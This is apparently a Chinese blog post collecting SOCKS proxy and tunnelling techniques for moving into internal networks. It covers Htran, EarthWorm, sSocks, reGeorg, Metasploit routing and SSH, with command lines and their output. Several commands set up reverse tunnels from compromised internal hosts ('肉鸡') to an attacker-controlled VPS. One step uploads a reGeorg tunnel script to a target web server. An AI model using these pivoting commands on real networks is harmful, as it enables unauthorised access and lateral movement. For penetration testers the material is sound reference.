标签归档:reGeorg

socks代理相关知识汇总

端口转发实现的是一对一的端口转发,而如果想更方面的渗透目标内网,则需要用到socks代理。下面是一些常用的工具。

 

Windows

0x01 Htran


步骤一
在外网服务器上执行命令
HTran.exe -p -listen 9001 9000
这个命令的意思是 监听两个端口,9001用来接收内网机器,9000连接sockscap的数据

步骤二
在内网机器执行命令
htran.exe -install //安装socket5服务
htran -start //启动
Htran.exe -p -slave 222.242.XXX.X 9001 127.0.0.1 8009
这个命令的意思是连接外网服务器,然后把数据转给内网机器的8009端口

IP 是服务器的IP ,9001是服务器监听的端口,127.0.0.1 本机IP 8009上本机反弹出去的端口
最终结果是内网机器8009–>外网机器9001–>本机scokscap使用9000端口连接外网机器

0x02 EarthWorm


使用方式与Linux相同

Linux

0x01 EarthWorm


EW 是一套便携式的网络穿透工具,具有 SOCKS v5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。
该工具共有 6 种命令格式(ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran)。

1)正向socks v5服务器

[root@server120 tmp]# ./ew_for_linux64 -s ssocksd -l 8888
ssocksd 0.0.0.0:8888 <--[10000 usec]--> socks server

2)反弹socks v5服务器
公网VPS上

[root@server120 tmp]# ./ew_for_linux64 -s rcsocks -l 1080 -e 8888 
rcsocks 0.0.0.0:1080 <--[10000 usec]--> 0.0.0.0:8888
init cmd_server_for_rc here
start listen port here

内网肉鸡

[root@server144 tmp]# ./ew_for_linux64 -s rssocks -d 192.168.192.120 -e 8888 
rssocks 192.168.192.120:8888 <--[10000 usec]--> socks server

公网VPS上可以看到rssocks cmd_socket OK! 证明sock5代理服务建立成功了。

3)二级网络环境(一)
A和B两台主机控制权,A主机有公网IP,仅能连接内网B,B可以访问内网资源,但无法访问外网。
B上执行:

[root@server144 tmp]# ./ew_for_linux64 -s ssocksd -l 8888
ssocksd 0.0.0.0:8888 <--[10000 usec]--> socks server

A上执行(这里用到了端口转发功能):

[root@server120 tmp]# ./ew_for_linux64 -s lcx_tran -l 1080 -f 192.168.192.144 -g 8888
lcx_tran 0.0.0.0:1080 <--[10000 usec]--> 192.168.192.144:8888

外网可以连接A机器1080端口使用在B主机架设的socks5代理。

4)二级网络环境(二)
A和B两台主机控制权,A主机没有公网IP,也无法访问内网资源。B主机可以访问内网资源,但无法访问外网。
公网VPS:

[root@168368 ~]# ./ew -s lcx_listen -l 10800 -e 888
rcsocks 0.0.0.0:10800 <--[10000 usec]--> 0.0.0.0:888
init cmd_server_for_rc here
start listen port here

将10800端口收到的代理请求转交给888端口

A:

[root@server120 tmp]# ./ew_for_linux64 -s lcx_slave -d 198.98.112.112 -e 888 -f 192.168.192.144 -g 8888
lcx_slave 198.98.112.112:888 <--[10000 usec]--> 192.168.192.144:8888

B:

[root@server144 tmp]# ./ew_for_linux64 -s ssocksd -l 8888
ssocksd 0.0.0.0:8888 <--[10000 usec]--> socks server

然后就可以访问公网VPS10800端口使用sock5代理。

0x02 sSocks


sSocks是一个socks代理工具套装,可用来开启socks代理服务,支持socks5验证,支持IPV6和UDP,并提供反向socks代理服务,即将远程计算机作为socks代理服务端,反弹回本地,极大方便内网的渗透测试,其最新版为0.0.13,可在以下链接处下载。
http://sourceforge.net/projects/ssocks/
下载解压后,执行命令编译。
./configure && make
编译完成,进入src目录,会发现有nsocks、ssocksd、ssocks、rcsocks,其功能说明介绍如下:
程序 功能

nsocks 类似通过Socks5代理后的netcat,可用来测试socks server
ssocksd 用来开启Socks5代理服务
ssocks 本地启用Socks5服务,并反弹到另一IP地址
rcsocks 接收反弹过来的Socks5服务,并转向另一端口

1)测试机在kali上起监听

root@kali:~/ssocks-0.0.14/src# ./rcsocks -l 1088 -p 1080 -vv
server: set listening client socks relay ...
server: port 1080 open
server: listening on 0.0.0.0:1080
server: set server relay ...
server: port 1088 open
server: listening on 0.0.0.0:1088

等待远程Socks5服务器访问本地1080端口,创建端口1080与本地端口1088的连接通道
2)肉鸡开启Socks5代理服务,反弹

[root@CentOS src]# ./rssocks -vv -s 10.11.100.99:1080

可以看到连接通道建立

123

0x03 reGeorg


老外的开源应用
https://github.com/sensepost/reGeorg
reGeorg是reDuh的继承者。主要是把内网服务器的端口通过http/https隧道转发到本机,形成一个回路。用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。
在github上下载reGeorg的压缩包,然后本地安装完urllib3,就可以运行reGeorg了。

先将reGeorg的对应脚本上传到服务器端,直接访问显示“Georg says, ‘All seems fine’”,表示脚本运行正常。
上传对应语言版本的tunnel文件到服务器上。然后本地访问上传的源文件,即可在本地与远程主机上形成一个http的回路。命令如下:
python reGeorgSocksProxy.py -p 6666 -u http://目标站点/tunnel.jsp //端口随便指定,只要不与本机开放端口冲突即可

0x04 metasploit


需要先添加目标内网网段路由

msf exploit(handler) > route add 10.11.100.1 255.255.255.0 3
[*] Route added
msf exploit(handler) > route print

Active Routing Table
====================

Subnet Netmask Gateway
------ ------- -------
10.11.100.1 255.255.255.0 Session 3

或者可以在meterpreter中直接添加路由

meterpreter > run autoroute -s 10.11.100.1
[*] Adding a route to 10.11.100.1/255.255.255.0...
[+] Added route to 10.11.100.1/255.255.255.0 via 172.16.100.131
[*] Use the -p option to list all active routes

msf auxiliary(smb_login) > use auxiliary/server/socks4a
msf auxiliary(socks4a) > exploit
[*] Auxiliary module execution completed

[*] Starting the socks4a proxy server

使用auxiliary/server/socks4a模块

msf auxiliary(smb_login) > use auxiliary/server/socks4a
msf auxiliary(socks4a) > exploit
[*] Auxiliary module execution completed

[*] Starting the socks4a proxy server

0x05 SSH
通过下面的命令我们可以建立一个通过123.123.123.123的SOCKS服务器。

1.ssh -N -f -D 1080 123.123.123.123 # 将端口绑定在127.0.0.1上
2.ssh -N -f -D 0.0.0.0:1080 123.123.123.123 # 将端口绑定在0.0.0.0上

内网漫游

Windows:
proxifier、SocksCap
Linux:
proxychains

注意

ICMP无法代理,所以在使用nmap扫描的时候需要使用-Pn参数
必须使用-sT;如果使用-sS,端口状态会显示为filtered。
所以正确的nmap命令应该是:

root@kali:~# proxychains nmap 10.10.10.2 -T4 -sT